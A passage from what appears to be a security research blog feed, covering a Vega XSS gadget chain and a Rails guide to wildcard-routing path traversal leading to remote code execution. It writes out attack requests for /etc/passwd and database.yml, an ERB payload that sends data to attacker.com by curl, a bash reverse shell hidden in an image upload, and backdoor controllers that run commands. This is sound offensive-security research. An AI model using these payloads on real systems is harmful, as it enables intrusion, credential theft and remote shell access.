	<span class="na">toString</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span><span class="p">.</span><span class="nx">VEGA_DEBUG</span><span class="p">.</span><span class="nx">vega</span><span class="p">.</span><span class="nx">View</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_resetRenderer</span><span class="p">,</span>
	<span class="na">_renderer</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span>
	<span class="na">_el</span><span class="p">:</span> <span class="dl">'</span><span class="s1">eval</span><span class="dl">'</span>
	<span class="na">_elBind</span><span class="p">:</span> <span class="dl">'</span><span class="s1">alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)</span><span class="dl">'</span><span class="p">,</span>
	<span class="na">initialize</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span><span class="p">.</span><span class="nx">VEGA_DEBUG</span><span class="p">.</span><span class="nx">vega</span><span class="p">.</span><span class="nx">Renderer</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">_load</span><span class="p">,</span>
	<span class="na">_loader</span><span class="p">:</span> <span class="nx">event</span><span class="p">.</span><span class="nx">view</span>
<span class="p">})</span><span class="o">+</span><span class="mi">1</span>
</code></pre></div></div>

<p>This uses <code class="language-plaintext highlighter-rouge">_resetRenderer()</code> as a “call a function with two arguments we control” gadget, and then <code class="language-plaintext highlighter-rouge">_load(a,b)</code> as a “call <code class="language-plaintext highlighter-rouge">this._loader[a](b)</code>”, where we make sure <code class="language-plaintext highlighter-rouge">this._loader</code> is window, calling window<a href="'attacker string'">‘eval’</a>.</p>

<h2 id="further-exploration">Further Exploration</h2>

<p>What if there was a built in function that would act as a “win” <code class="language-plaintext highlighter-rouge">this.foo(this.bar)</code> gadget for us instead of having to rely on whatever custom functions happen to be accessible on the global window? I spent some time looking at v8 builtin implementations, but there are a ton of globally scoped built in browser specific functions that I was missing. I thought about it for a bit, and decided that this is the kind of thing <a href="https://jorianwoltjer.com/">Jorian</a> (go read everything he’s ever written, it’s all so good) would be interested in. Jorian is such an interesting hacker that when writing this, I got derailed by a three hour web browser rabbit hole just from navigating to his site to get the URL to link here.</p>

<h3 id="fuzzing-for-a-universal-gadget">Fuzzing for a universal gadget</h3>

<p>I had really bad ideas around static analysis of browser code (or even worse, static analysis of dumped JIT code at runtime to back these functions), but that sounded really hard and complicated. Jorian had the great idea of fuzzing for this. We found some interesting behaviors that are cool to know about regarding member gets of <code class="language-plaintext highlighter-rouge">this</code> when calling certain globally scoped functions, but ultimately did not find a universal “win” gadget. Some iterator and regex related functions could lead to additional function call, some code paths in the torque implementations for some of the v8 builtins looked promising, but ultimately, we did not find a universal gadget that would call <code class="language-plaintext highlighter-rouge">this.foo(this.bar)</code> to gain function call argument control.</p>

<p>If you are interested in exploring this further, or understanding how this was done, <a href="https://www.turb0.one/files/gadgetfuzz.js">here</a> is a crappy modified version of Jorian’s BFS JS object exploration code with a Proxy wrapped object to intercept all member gets after implicit toString call with each discovered function accessible from the global window object.</p>

<h3 id="waf-bypass-applications">WAF Bypass applications</h3>

<p>I played with this style of function call a bit on a target with really strict restrictions behind a WAF known for being strict. Getting function call was really tricky. Any use of backticks or parenthesis would get blocked, as well as some of the other common workarounds to get function call. I did find I was able to get argumentless global window function call with something like <code class="language-plaintext highlighter-rouge">~{valueOf:someGlobalFunc}</code>, which is pretty interesting. There are likely scenarios where this kind of strategy could be fruitful for WAF bypasses.</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Write Path Traversal to a RCE Art Department</title>
      <link>https://lab.ctbb.show/research/write-path-traversal-to-RCE-art-department</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/write-path-traversal-to-RCE-art-department</guid>
      <pubDate>Fri, 28 Nov 2025 00:00:00 +0000</pubDate>
      <author>Diyan Apostolov</author>
      <description>Abusing Write Path Traversal for Living Off the Land Remote Code Execution</description>
      <content:encoded><![CDATA[<p>CriticalThinking Research members are treated as artists thus here is my small and rare moment of sharing publicly thoughts, insides and art. In the modern world, it is common people to hide, to hide knowledge, to hide thoughts, to hide from life, but in the CT community, we do opposite, we can share what we know, what we feel, what we think, what we critically think! <a href="https://youtu.be/NCNRKev5tq4">Play</a> that music and enjoy the process of sharing!</p>

<p><strong>Things will be discovered and patched so… Share!</strong></p>

<p>In our previous article - <a href="https://lab.ctbb.show/research/asp-net-mvc-view-engine-search-patterns">ASP.NET MVC View Engine Search Patterns</a>, we explored the inner workings and logic behind ASP.NET MVC search patterns. Building on that foundation and the shared understanding we’ve now established, today we’ll dive deeper into more languages.</p>

<p>As pentesters, bug bounty hunters,…(whoever consider yourself)., we’re constantly confronted with new programming languages, frameworks, and technologies — it’s absolute chaos out there (especially when you’re pushing 40 and still fondly remember the golden era of BBSs and blazing-fast 33.6K modems 😄).</p>

<p>This article takes a closer look at how Ruby resolves templates, examines the underlying behavior, and includes a practical comparison matrix/cheatsheet showing how different languages and frameworks handle similar view/template resolution mechanisms. The matrix is designed to expand over time with additional languages</p>

<p>For those short on time, feel free to jump straight to the Cheat Sheet - The Short Version section below — it has everything you need at a glance.
For everyone else, grab a coffee and enjoy the full read!</p>

<h3 id="cheat-sheet---quick-comparison-table"><a href="https://gist.github.com/apostolovd/797b434be416bf24588977701b59e859">Cheat Sheet - Quick Comparison Table</a></h3>

<h1 id="rails-wildcard-routing--auto-loading-exploitation-guide">Rails Wildcard Routing &amp; Auto-loading: Exploitation Guide</h1>

<h2 id="introduction">Introduction</h2>
<p>Similar to ASP.NET MVC’s View Engine search pattern vulnerability, Ruby on Rails has an analogous attack surface through the combination of <strong>wildcard routing</strong>, <strong>Zeitwerk auto-loading</strong>, and <strong>implicit rendering</strong>. Both vulnerabilities exploit framework-level file resolution mechanisms that bypass web server protections.</p>
<h2 id="part-1-understanding-rails-auto-loading-with-zeitwerk">Part 1: Understanding Rails Auto-loading with Zeitwerk</h2>
<h3 id="the-convention-over-configuration-pattern">The Convention-Over-Configuration Pattern</h3>
<p>Rails follows strict naming conventions where <strong>file paths automatically map to class names</strong>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># File: app/controllers/users_controller.rb</span>
<span class="k">class</span> <span class="nc">UsersController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="k">def</span> <span class="nf">index</span>
	<span class="c1"># ...</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The Zeitwerk loader uses <code class="language-plaintext highlighter-rouge">String#camelize</code> to convert file paths to constants:</p>

<p>File Path -&gt; Constant Name</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>app/controllers/users_controller.rb -&gt; UsersController
app/controllers/admin/payments_controller.rb -&gt; Admin::PaymentsController
app/models/user.rb -&gt; User
app/services/payment_processor.rb -&gt; PaymentProcessor
</code></pre></div></div>
<h3 id="how-zeitwerk-auto-loading-works">How Zeitwerk Auto-loading Works</h3>
<p>When your Rails application references an undefined constant, Zeitwerk intercepts it:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Somewhere in your Rails app</span>
<span class="n">user</span> <span class="o">=</span> <span class="no">User</span><span class="p">.</span><span class="nf">new</span> <span class="c1"># If User is not yet loaded...</span>
</code></pre></div></div>

<p><strong>Behind the scenes:</strong></p>
<ol>
  <li>Ruby raises <code class="language-plaintext highlighter-rouge">NameError: uninitialized constant User</code></li>
  <li>Zeitwerk intercepts this error</li>
  <li>Converts <code class="language-plaintext highlighter-rouge">User</code> → <code class="language-plaintext highlighter-rouge">user.rb</code> (reverse camelize)</li>
  <li>Searches autoload paths: <code class="language-plaintext highlighter-rouge">app/models/user.rb</code></li>
  <li><strong>Executes the file</strong> using <code class="language-plaintext highlighter-rouge">require</code></li>
  <li>The constant <code class="language-plaintext highlighter-rouge">User</code> is now defined</li>
  <li>Execution continues normally</li>
</ol>

<p><strong>Critical insight:</strong> This happens automatically without explicit <code class="language-plaintext highlighter-rouge">require</code> statements, and the file is <strong>executed</strong> when loaded.</p>
<h3 id="autoload-paths">Autoload Paths</h3>
<p>Rails automatically configures these directories as autoload paths:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>app/controllers/
app/models/
app/helpers/
app/mailers/
app/jobs/
app/services/
lib/
</code></pre></div></div>

<p>Any <code class="language-plaintext highlighter-rouge">.rb</code> file in these directories can be auto-loaded based on naming conventions.</p>
<h2 id="part-2-rails-routing--implicit-rendering">Part 2: Rails Routing &amp; Implicit Rendering</h2>

<h3 id="basic-routing">Basic Routing</h3>

<p>Rails routes map URLs to controller actions:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb</span>
<span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">routes</span><span class="p">.</span><span class="nf">draw</span> <span class="k">do</span>
	<span class="n">get</span> <span class="s1">'/users'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'users#index'</span>
	<span class="n">get</span> <span class="s1">'/users/:id'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'users#show'</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This maps:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">GET /users</code> → <code class="language-plaintext highlighter-rouge">UsersController#index</code></li>
  <li><code class="language-plaintext highlighter-rouge">GET /users/123</code> → <code class="language-plaintext highlighter-rouge">UsersController#show</code> with <code class="language-plaintext highlighter-rouge">params[:id] = "123"</code>
    <h3 id="wildcardglobbing-routes">Wildcard/Globbing Routes</h3>
  </li>
</ul>

<p>Rails supports <strong>glob parameters</strong> that capture everything including slashes:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb</span>
<span class="n">get</span> <span class="s1">'/files/*path'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'files#show'</span>
</code></pre></div></div>

<p>Request: <code class="language-plaintext highlighter-rouge">GET /files/documents/2024/report.pdf</code></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">params[:path]</code> = <code class="language-plaintext highlighter-rouge">"documents/2024/report.pdf"</code> (includes slashes!)
    <h3 id="implicit-rendering">Implicit Rendering</h3>
  </li>
</ul>

<p>If a controller action doesn’t explicitly render something, Rails automatically looks for a template:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UsersController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="k">def</span> <span class="nf">profile</span>
		<span class="c1"># No explicit render call</span>
		<span class="c1"># Rails automatically renders: app/views/users/profile.html.erb</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The implicit render searches for templates matching the pattern:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>app/views/&lt;controller_name&gt;/&lt;action_name&gt;.&lt;format&gt;.&lt;engine&gt;
</code></pre></div></div>
<h2 id="part-3-the-vulnerability---cve-2014-0130">Part 3: The Vulnerability - CVE-2014-0130</h2>

<h3 id="vulnerable-configuration">Vulnerable Configuration</h3>

<p>The vulnerability occurs when applications use <strong>wildcard routing with the <code class="language-plaintext highlighter-rouge">:action</code> parameter</strong>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb - VULNERABLE</span>
<span class="n">get</span> <span class="s1">'/render/*action'</span><span class="p">,</span> <span class="ss">to: </span><span class="s1">'pages#'</span>
<span class="c1"># or</span>
<span class="n">get</span> <span class="s1">'/docs/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'documentation'</span>
</code></pre></div></div>

<p>This routing pattern tells Rails:</p>
<ul>
  <li>Match any URL starting with <code class="language-plaintext highlighter-rouge">/render/</code></li>
  <li>Capture everything after as the <code class="language-plaintext highlighter-rouge">:action</code> parameter</li>
  <li>Route to the specified controller</li>
</ul>

<h3 id="why-this-is-dangerous">Why This Is Dangerous</h3>

<p>When you combine:</p>

<ol>
  <li>Wildcard routes capturing <code class="language-plaintext highlighter-rouge">:action</code></li>
  <li>Implicit rendering</li>
  <li>Directory traversal sequences (<code class="language-plaintext highlighter-rouge">../</code>)</li>
</ol>

<p>Rails will:</p>
<ol>
  <li>Accept the action parameter with traversal sequences</li>
  <li>Try to render a template using that action name</li>
  <li><strong>Not properly sanitize the path</strong></li>
</ol>

<h3 id="exploitation-example-1-file-disclosure">Exploitation Example 1: File Disclosure</h3>

<p><strong>Vulnerable Application:</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb</span>
<span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">routes</span><span class="p">.</span><span class="nf">draw</span> <span class="k">do</span>
	<span class="n">get</span> <span class="s1">'/pages/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'pages'</span>
<span class="k">end</span>

<span class="c1"># app/controllers/pages_controller.rb</span>
<span class="k">class</span> <span class="nc">PagesController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="c1"># Relies on implicit rendering</span>
	<span class="c1"># No action methods defined - all handled by implicit render</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>Attack Request:</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/pages/../../../../etc/passwd</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">vulnerable-app.com</span>
</code></pre></div></div>

<p><strong>What Happens:</strong></p>
<ol>
  <li>Rails routes to <code class="language-plaintext highlighter-rouge">PagesController</code></li>
  <li><code class="language-plaintext highlighter-rouge">params[:action]</code> = <code class="language-plaintext highlighter-rouge">"../../../../etc/passwd"</code></li>
  <li>Implicit render looks for template: <code class="language-plaintext highlighter-rouge">app/views/pages/../../../../etc/passwd</code></li>
  <li>Path traversal resolves to <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
  <li><strong>File contents disclosed</strong> (if Rails can read it)</li>
</ol>

<h3 id="exploitation-example-2-code-execution-via-template-injection">Exploitation Example 2: Code Execution via Template Injection</h3>

<p><strong>Attack Scenario:</strong>
Assume the attacker has <strong>file write access</strong> via another vulnerability (upload, path traversal in a different endpoint, etc.)</p>

<p><strong>Step 1: Write malicious ERB template</strong>
Attacker uploads a file to a predictable location:</p>
<div class="language-erb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">&lt;!-- Attacker writes to: public/uploads/evil.html.erb --&gt;</span>
<span class="cp">&lt;%=</span> <span class="sb">`whoami`</span> <span class="cp">%&gt;</span>
<span class="cp">&lt;%=</span> <span class="nb">system</span><span class="p">(</span><span class="s2">"curl http://attacker.com/?data=$(cat /etc/passwd | base64)"</span><span class="p">)</span> <span class="cp">%&gt;</span>
</code></pre></div></div>

<p><strong>Step 2: Trigger via wildcard route</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb - VULNERABLE</span>
<span class="n">get</span> <span class="s1">'/render/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'pages'</span>
</code></pre></div></div>

<p><strong>Attack Request:</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/render/../../public/uploads/evil.html</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">vulnerable-app.com</span>
</code></pre></div></div>

<p><strong>Exploitation Chain:</strong></p>

<ol>
  <li>Rails accepts <code class="language-plaintext highlighter-rouge">action = "../../public/uploads/evil.html"</code></li>
  <li>Implicit render searches for: <code class="language-plaintext highlighter-rouge">app/views/pages/../../public/uploads/evil.html.erb</code></li>
  <li>Path resolves to: <code class="language-plaintext highlighter-rouge">public/uploads/evil.html.erb</code></li>
  <li>Rails <strong>loads and executes the ERB template</strong></li>
  <li>Embedded Ruby code (<code class="language-plaintext highlighter-rouge">&lt;%= system(...) %&gt;</code>) executes with app privileges</li>
  <li>Remote code execution achieved</li>
</ol>

<h2 id="part-4-zeitwerk-auto-loading-attack-surface">Part 4: Zeitwerk Auto-loading Attack Surface</h2>

<h3 id="controller-auto-loading-vulnerability">Controller Auto-loading Vulnerability</h3>
<p>While less common, if an application uses <strong>wildcard routing with <code class="language-plaintext highlighter-rouge">:controller</code></strong>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb - EXTREMELY DANGEROUS</span>
<span class="n">get</span> <span class="s1">'/:controller/:action/:id'</span>
</code></pre></div></div>

<p>This creates an even worse attack surface.
<strong>Example Attack:</strong></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/admin%2F%2Fevil_controller/malicious_action/1</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</code></pre></div></div>

<p>If an attacker can:</p>
<ol>
  <li>Write a file to <code class="language-plaintext highlighter-rouge">app/controllers/admin/evil_controller.rb</code></li>
  <li>Trigger the route</li>
</ol>

<p>Then:</p>
<ol>
  <li>Zeitwerk auto-loads <code class="language-plaintext highlighter-rouge">Admin::EvilController</code></li>
  <li>The malicious controller code <strong>executes</strong></li>
  <li>Actions in that controller become accessible</li>
</ol>

<h3 id="malicious-controller-example">Malicious Controller Example</h3>
<p><strong>Attacker writes to: <code class="language-plaintext highlighter-rouge">app/controllers/admin/evil_controller.rb</code></strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Admin::EvilController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="n">skip_before_action</span> <span class="ss">:verify_authenticity_token</span>
	<span class="k">def</span> <span class="nf">backdoor</span>
		<span class="k">if</span> <span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span>
			<span class="n">render</span> <span class="ss">plain: </span><span class="sb">`</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:cmd</span><span class="p">]</span><span class="si">}</span><span class="sb">`</span>
		<span class="k">else</span>
			<span class="n">render</span> <span class="ss">plain: </span><span class="s2">"Backdoor ready"</span>
		<span class="k">end</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>Attack Request:</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">
</span><span class="nf">GET</span> <span class="nn">/admin%2Fevil_controller/backdoor?cmd=whoami</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>

</code></pre></div></div>

<p><strong>Result:</strong> Remote command execution.</p>

<h2 id="part-5-real-world-examples">Part 5: Real-World Examples</h2>
<h3 id="example-1-rails-app-with-dynamic-pages">Example 1: Rails App with Dynamic Pages</h3>

<p><strong>Vulnerable Code:</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb</span>
<span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">routes</span><span class="p">.</span><span class="nf">draw</span> <span class="k">do</span>
	<span class="c1"># Intention: Allow dynamic page rendering</span>
	<span class="n">get</span> <span class="s1">'/help/*page'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'help'</span><span class="p">,</span> <span class="ss">action: </span><span class="s1">'show'</span>
<span class="k">end</span>

<span class="c1"># app/controllers/help_controller.rb</span>
<span class="k">class</span> <span class="nc">HelpController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="k">def</span> <span class="nf">show</span>
		<span class="vi">@page</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="ss">:page</span><span class="p">]</span>
		<span class="c1"># Implicit render looks for: app/views/help/show.html.erb</span>
		<span class="c1"># But what if action method doesn't exist and we use wildcard action?</span>
	<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>Better vulnerable example:</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># config/routes.rb</span>
<span class="n">get</span> <span class="s1">'/help/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'help'</span>
<span class="c1"># app/controllers/help_controller.rb</span>
<span class="k">class</span> <span class="nc">HelpController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
	<span class="c1"># No methods - relies on implicit rendering</span>
<span class="k">end</span>
</code></pre></div></div>

<p><strong>Directory Structure:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>app/views/help/
faq.html.erb
getting-started.html.erb
tutorials.html.erb
</code></pre></div></div>

<p><strong>Legitimate Request:</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /help/faq
</span></code></pre></div></div>

<p>Renders: <code class="language-plaintext highlighter-rouge">app/views/help/faq.html.erb</code> ✓</p>

<p><strong>Malicious Request:</strong></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /help/../../../../config/database.yml
</span></code></pre></div></div>

<p>Attempts to render: <code class="language-plaintext highlighter-rouge">app/views/help/../../../../config/database.yml</code>
Resolves to: <code class="language-plaintext highlighter-rouge">config/database.yml</code>
<strong>Result:</strong> Database credentials disclosed!</p>
<h3 id="example-2-file-upload--wildcard-route-rce">Example 2: File Upload + Wildcard Route RCE</h3>

<p><strong>Scenario:</strong> Application has file upload but “restricts” to images only (client-side validation)</p>

<p><strong>Step 1: Upload malicious ERB disguised as image</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/uploads</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg

&lt;%= system("bash -c 'bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1'") %&gt;
------WebKitFormBoundary--
</code></pre></div></div>

<p>File saved to: <code class="language-plaintext highlighter-rouge">public/uploads/avatar.jpg</code></p>

<p><strong>Step 2: Rename/copy to .erb extension</strong> (via path traversal in another endpoint, or if predictable naming). Or attacker finds the app also accepts <code class="language-plaintext highlighter-rouge">.erb</code> files in certain directories. However. this step is actually <strong>optional</strong> in some cases. Rails might still process the file as ERB if:
  - The implicit render path resolves to it
  - Rails is configured to handle that extension
  - The file contains ERB delimiters &lt;%= %&gt;</p>

<p>For reliability purposes, the attacker would typically need the .erb extension or Rails won’t treat it as an ERB template.</p>

<p><strong>Step 3: Trigger via wildcard route</strong></p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># If app has this route:</span>
<span class="n">get</span> <span class="s1">'/render/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'pages'</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/render/../../public/uploads/avatar.jpg</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</code></pre></div></div>

<p>If Rails treats this as a template, the embedded Ruby executes → <strong>Reverse shell</strong>.</p>

<h3 id="example-3-auto-loading--malicious-controller">Example 3: Auto-loading + Malicious Controller</h3>

<p><strong>Scenario:</strong> App has arbitrary file write via path traversal in a separate vulnerability</p>

<p><strong>Step 1: Write malicious controller</strong></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PUT</span> <span class="nn">/api/files?path=../../app/controllers/backdoor_controller.rb</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="s">class BackdoorController &lt; ApplicationController</span>
<span class="s">	def shell</span>
<span class="s">		render plain: `#{params[:cmd]}`</span>
<span class="s">	end</span>
<span class="s">end</span>
</code></pre></div></div>

<p><strong>Step 2: Trigger auto-loading</strong></p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># If app has wildcard controller routing:</span>
<span class="n">match</span> <span class="s1">':controller/:action'</span><span class="p">,</span> <span class="ss">via: :all</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/backdoor/shell?cmd=cat%20/etc/passwd</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</code></pre></div></div>

<p><strong>Result:</strong></p>
<ol>
  <li>Rails routes to <code class="language-plaintext highlighter-rouge">BackdoorController#shell</code></li>
  <li>Zeitwerk auto-loads <code class="language-plaintext highlighter-rouge">app/controllers/backdoor_controller.rb</code></li>
  <li>Controller class is <strong>defined and instantiated</strong></li>
  <li><code class="language-plaintext highlighter-rouge">shell</code> action executes with command injection</li>
  <li>RCE achieved</li>
</ol>

<h2 id="part-6-detection">Part 6: Detection</h2>

<p>How we can identify if there is a wildcard endpoints? There a couple techniques which we can use to identify a possible vulnerable endpoint</p>

<h3 id="path-traversal-probing-best-method">Path Traversal Probing (Best Method)</h3>

<p>Test if path traversal works in different URL segments</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i https://target.com/pages/test
curl -i https://target.com/pages/../test
curl -i https://target.com/pages/../../test
curl -i https://target.com/pages/../../../../etc/passwd
</code></pre></div></div>

<p>Look for:</p>
<ul>
  <li>Different responses (200 vs 404 vs 500)</li>
  <li>File disclosure in response body</li>
  <li>Error messages revealing file paths</li>
  <li>Response time differences</li>
</ul>

<h3 id="error-message-fingerprinting">Error Message Fingerprinting</h3>

<p>Wildcard routes often produce distinctive Rails errors:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i https://target.com/pages/nonexistent
</code></pre></div></div>

<p>Wildcard route indicators:</p>
<ul>
  <li>Template is missing → Implicit rendering attempting to find template</li>
  <li>Missing template pages/nonexistent → Shows it’s looking for a template with your input</li>
  <li>No route matches → Explicit routes only (no wildcard)</li>
</ul>

<p>Example error that reveals wildcard routing:
ActionView::MissingTemplate: Missing template pages/../../../../etc/passwd</p>

<p>This confirms:</p>
<ul>
  <li>Wildcard *action exists</li>
  <li>Path traversal sequences accepted</li>
  <li>Implicit rendering active</li>
</ul>

<h3 id="fuzz-common-wildcard-patterns">Fuzz Common Wildcard Patterns</h3>

<p>Test common Rails wildcard endpoints</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i https://target.com/render/test
curl -i https://target.com/pages/test
curl -i https://target.com/docs/test
curl -i https://target.com/help/test
curl -i https://target.com/content/test
</code></pre></div></div>
<p>Indicators:</p>
<ul>
  <li>200 OK or “Template missing” = likely wildcard</li>
  <li>404 Not Found = likely explicit routing</li>
</ul>

<h3 id="directory-brute-forcing-behavior">Directory Brute-forcing Behavior</h3>

<p>Try random action names</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i https://target.com/pages/random123
curl -i https://target.com/pages/totally_fake_action
</code></pre></div></div>

<p>Wildcard route behavior:</p>
<ul>
  <li>Returns Template is missing (tries to render)</li>
  <li>Returns 500 error (tries to find template)</li>
</ul>

<p>Explicit route behavior:</p>
<ul>
  <li>Returns 404 or routing error immediately</li>
  <li>Never mentions “template”</li>
</ul>

<h3 id="response-difference-analysis">Response Difference Analysis</h3>

<p>Compare responses</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i https://target.com/pages/known_page    # Legitimate page
curl -i https://target.com/pages/fake_page     # Non-existent
curl -i https://target.com/pages/../fake       # Traversal attempt
</code></pre></div></div>

<p>Wildcard indicators:</p>
<ul>
  <li>All return similar HTTP codes (500/200)</li>
  <li>Error messages reveal template paths</li>
  <li>Content-Type remains consistent</li>
</ul>

<p>Non-wildcard indicators:</p>
<ul>
  <li>Quick 404 responses</li>
  <li>Generic “not found” pages</li>
  <li>No mention of templates/views</li>
</ul>

<h3 id="timing-attack">Timing Attack</h3>

<p>Measure response times</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>time curl -s https://target.com/pages/test &gt; /dev/null
time curl -s https://target.com/pages/../../../../etc/passwd &gt; /dev/null
</code></pre></div></div>

<p>Wildcard routes with file system access will have:</p>
<ul>
  <li>Longer response times (file system lookups)</li>
  <li>Variable timing based on path depth</li>
</ul>

<h3 id="the-golden-test-most-reliable">The “Golden Test” (Most Reliable)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -v https://target.com/pages/../../../../etc/passwd 2&gt;&amp;1 | grep -i "missing template\|passwd"
</code></pre></div></div>

<p>If wildcard route exists:</p>
<ul>
  <li>Error: Missing template pages/../../../../etc/passwd</li>
  <li>Or: Actual /etc/passwd contents</li>
</ul>

<p>If no wildcard:</p>
<ul>
  <li>404 Not Found or No route matches</li>
</ul>

<p>Common Rails Wildcard Endpoints</p>

<p>Test these first:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/render/*
/pages/*
/docs/*
/help/*
/content/*
/api/*
/admin/*
</code></pre></div></div>

<h2 id="part-7-key-takeaways">Part 7: Key Takeaways</h2>

<p>Without wildcard routing, that specific CVE doesn’t apply, and many developers/SOCs/.. are aware of it thus it is more rare to find it. If there’s NO action or controller wildcard routing, the attack surface becomes much more constrained, but not zero!</p>

